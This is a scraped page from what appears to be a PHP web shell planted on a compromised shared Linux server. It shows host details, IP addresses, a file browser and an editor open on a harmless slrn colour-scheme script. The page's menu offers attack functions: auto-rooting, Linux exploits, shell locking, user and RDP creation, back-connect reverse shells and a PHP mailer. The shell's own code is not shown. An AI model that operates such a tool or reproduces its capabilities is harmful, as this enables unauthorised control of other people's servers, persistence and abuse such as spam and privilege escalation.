Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
slrn /
slang /
[ HOME SHELL ]
Name
Size
Permission
Action
color.sl
3.41
KB
-rw-r--r--
gsort.sl
532
B
-rw-r--r--
ispell.sl
477
B
-rw-r--r--
latin2.sl
3.61
KB
-rw-r--r--
mailcap.sl
8.41
KB
-rw-r--r--
mime.sl
14.1
KB
-rw-r--r--
multipart.sl
2.19
KB
-rw-r--r--
nn.sl
2.29
KB
-rw-r--r--
posthook.sl
1.73
KB
-rw-r--r--
search.sl
1021
B
-rw-r--r--
slrn.sl
2.65
KB
-rw-r--r--
tin-art.sl
6.81
KB
-rw-r--r--
tin-group.sl
2.6
KB
-rw-r--r--
ttyprint.sl
510
B
-rw-r--r--
util.sl
936
B
-rw-r--r--
varset.sl
545
B
-rw-r--r--
xcomment.sl
781
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : color.sl
% This file implements a function called 'edit_colors' that may be used for % designing a color scheme interactively. You can define a keybinding for it % (e.g. "ESC e c") by putting a line like this in your slrnrc file: % % setkey article edit_colors "\eec" % % The macro illustrates several things: % % * How to create and use a linked list in the S-Lang language % * Interaction with files % * The slrn select_list_box function variable Color_List_Root = NULL; define color_save_colors_to_file () { variable file; variable fp; variable x; if (Color_List_Root == NULL) return; #ifdef UNIX file = ".slrnrc"; #else file = "slrn.rc"; #endif if (1 != get_yes_no_cancel ("Save colors")) return; file = make_home_filename (file); file = read_mini ("Save colors to: ", "", file); !if (strlen (file)) return; fp = fopen (file, "a"); if (fp == NULL) verror ("Unable to open %s", file); x = Color_List_Root; while (x != NULL) { if ((x.fg != NULL) and (x.bg != NULL)) () = fputs (sprintf ("color\t%s\t%s\t%s\n", x.obj, x.fg, x.bg), fp); x = x.next; } () = fclose (fp); } define color_store_color (obj, fg, bg) { variable x; x = Color_List_Root; while (x != NULL) { if (x.obj == obj) break; x = x.next; } if (x == NULL) { x = struct { obj, fg, bg, next }; x.next = Color_List_Root; Color_List_Root = x; x.obj = obj; } x.fg = fg; x.bg = bg; } define color_get_color_for_object (title) { variable n; n = _stkdepth (); return select_list_box (title, "black", "red", "green", "brown", "blue", "magenta", "cyan", "lightgray", "gray", "brightred", "brightgreen", "yellow", "brightblue", "brightmagenta", "brightcyan", "white", "default", _stkdepth () - n - 1, 0); } define edit_colors () { variable n, fg, bg; variable obj; forever { n = _stkdepth (); obj = select_list_box ("Object", % title "EXIT", "article", "author", "boldtext", "box", "cursor", "date", "description", "error", "frame", "from_myself", "group", "grouplens_display", "header_name", "header_number", "headers", "high_score", "italicstext", "menu", "menu_press", "message", "neg_score", "normal", "pgpsignature", "pos_score", "quotes", "quotes1", "quotes2", "quotes3", "quotes4", "quotes5", "quotes6", "quotes7", "response_char", "selection", "signature", "status", "subject", "thread_number", "tilde", "tree", "underlinetext", "unread_subject", "url", "verbatim", _stkdepth () - n - 1, 0); if ((obj == "EXIT") or (obj == "")) break; fg = color_get_color_for_object ("Foreground color for " + obj); if (fg == "") break; bg = color_get_color_for_object ("Background color for " + obj); if (bg == "") break; set_color (obj, fg, bg); color_store_color (obj, fg, bg); call ("redraw"); } color_save_colors_to_file (); }
Close